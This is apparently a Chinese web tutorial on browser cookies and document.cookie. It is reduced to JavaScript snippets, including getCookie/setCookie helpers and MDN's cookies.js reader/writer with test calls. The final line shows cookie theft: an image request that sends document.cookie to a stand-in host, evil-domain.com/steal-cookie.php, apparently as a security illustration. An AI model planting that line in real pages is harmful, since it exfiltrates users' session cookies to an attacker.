【网络知识补习】❄️| Cookie详解 和 Document.cookie使用文档+运行实例

username=John Doe

document.cookie="username=John Doe";

var x = document.cookie;

document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";

function getCookie(cname)
{
  var name = cname + "=";
  var ca = document.cookie.split(';');
  for(var i=0; i<ca.length; i++) 
  {
    var c = ca[i].trim();
    if (c.indexOf(name)==0) return c.substring(name.length,c.length);
  }
  return "";
}

function checkCookie()
{
  var username=getCookie("username");
  if (username!="")
  {
    alert("Welcome again " + username);
  }
  else 
  {
    username = prompt("Please enter your name:","");
    if (username!="" && username!=null)
    {
      setCookie("username",username,365);
    }
  }
}

function setCookie(cname,cvalue,exdays){
    var d = new Date();
    d.setTime(d.getTime()+(exdays*24*60*60*1000));
    var expires = "expires="+d.toGMTString();
    document.cookie = cname+"="+cvalue+"; "+expires;
}
function getCookie(cname){
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name)==0) { return c.substring(name.length,c.length); }
    }
    return "";
}
function checkCookie(){
    var user=getCookie("username");
    if (user!=""){
        alert("欢迎 " + user + " 再次访问");
    }
    else {
        user = prompt("请输入你的名字:","");
          if (user!="" && user!=null){
            setCookie("username",user,30);
        }
    }
}

if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}

/*\
|*|
|*|  :: cookies.js ::
|*|
|*|  A complete cookies reader/writer framework with full unicode support.
|*|
|*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
|*|
|*|  This framework is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*|  Syntaxes:
|*|
|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*|  * docCookies.getItem(name)
|*|  * docCookies.removeItem(name[, path], domain)
|*|  * docCookies.hasItem(name)
|*|  * docCookies.keys()
|*|
\*/
var docCookies = {
  getItem: function (sKey) {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
          break;
      }
    }
    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
    return true;
  },
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) { return false; }
    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
    return true;
  },
  hasItem: function (sKey) {
    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
  },
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
    return aKeys;
  }
};

docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;